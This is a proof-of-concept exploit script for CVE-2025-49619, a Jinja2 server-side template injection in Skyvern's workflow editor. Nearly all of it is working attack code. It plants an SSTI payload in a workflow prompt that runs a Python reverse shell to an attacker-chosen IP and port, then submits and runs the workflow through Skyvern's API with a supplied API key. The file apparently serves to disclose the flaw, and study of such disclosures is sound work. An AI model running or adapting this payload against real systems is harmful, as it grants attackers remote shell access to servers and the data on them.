# Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) # Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI
# Date: 2025-06-15
# Exploit Author: Cristian Branet
# Vendor Homepage: https://www.skyvern.com/
# Software Link: https://github.com/Skyvern-AI/skyvern
# Version: < 0.1.85, before commit db856cd
# Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04)
# CVE : CVE-2025-49619
# Article: https://cristibtz.github.io/posts/CVE-2025-49619/

'''
Skyvern's Workflow Editor allows prompt injection via Jinja2 template syntax.
An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,
which gets rendered server-side, resulting in blind remote code execution via curl.
'''

import requests, argparse, pyfiglet

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Skyvern URL (e.g., http://example.com:8080)")
parser.add_argument("-k", "--x-api-key", required=True, help="Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key")
parser.add_argument("-i", "--ip", required=True, help="IP address to receive the reverse shell connection")
parser.add_argument("-p", "--port", required=True, help="Port for the reverse shell connection")

def create_exploit_workflow(url, ip, port, x_api_key):
exploit_workflow = {
"title": "Exploit",
"description": "",
"proxy_location": "RESIDENTIAL",
"webhook_callback_url": "",
"persist_browser_session": False,
"model": None,
"totp_verification_url": None,
"workflow_definition": {
"parameters": [],
"blocks": [
{
"label": "block_1",
"continue_on_failure": False,
"block_type": "task_v2",
"prompt": (
"{% for x in ().__class__.__base__.__subclasses__() %}\n"
" {% if 'warning' in x.__name__ %}\n"
" {{ x()._module.__builtins__['__import__']('os').popen(\n"
" \"python3 -c 'import socket,os,pty;\"\n"
" \"s=socket.socket();\"\n"
f" \'s.connect((\\\"{ip}\\\",{port}));\'\n"
" \"os.dup2(s.fileno(),0);\"\n"
" \"os.dup2(s.fileno(),1);\"\n"
" \"os.dup2(s.fileno(),2);\"\n"
" \"pty.spawn(\\\"sh\\\")'\"\n"
" ).read() }}\n"
" {% endif %}\n"
"{% endfor %}"
),
"url": "",
"max_steps": 25,
"totp_identifier": None,
"totp_verification_url": None
}
]
},
"is_saved_task": False
}

headers = {
"Content-Type": "application/json",
"X-API-Key": x_api_key
}
response = requests.post(f"{url}/api/v1/workflows", json=exploit_workflow, headers=headers)

if response.status_code == 200:
print("[+] Exploit workflow created successfully!")
else:
print("[-] Failed to create exploit workflow:", response.text)
return None

workflow_permanent_id = response.json().get("workflow_permanent_id")

print(f"[+] Workflow Permanent ID: {workflow_permanent_id}")

return workflow_permanent_id

def run_exploit_workflow(url, x_api_key, workflow_permanent_id):

workflow_data = {
"workflow_id": workflow_permanent_id
}

headers = {
"Content-Type": "application/json",
"X-API-Key": x_api_key
}
response = requests.post(f"{url}/api/v1/workflows/{workflow_permanent_id}/run", json=workflow_data, headers=headers)

if response.status_code == 200:
print("[+] Exploit workflow executed successfully!")
else:
print("[-] Failed to execute exploit workflow:", response.text)


if __name__=="__main__":

print("\n")
print(pyfiglet.figlet_format("CVE-2025-49619 PoC", font="small", width=100))
print("Author: Cristian Branet")
print("GitHub: github.com/cristibtz")
print("Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.")
print("\n")

args = parser.parse_args()
url = args.url
x_api_key = args.x_api_key
ip = args.ip
port = args.port

workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)

run_exploit_workflow(url, x_api_key, workflow_permanent_id)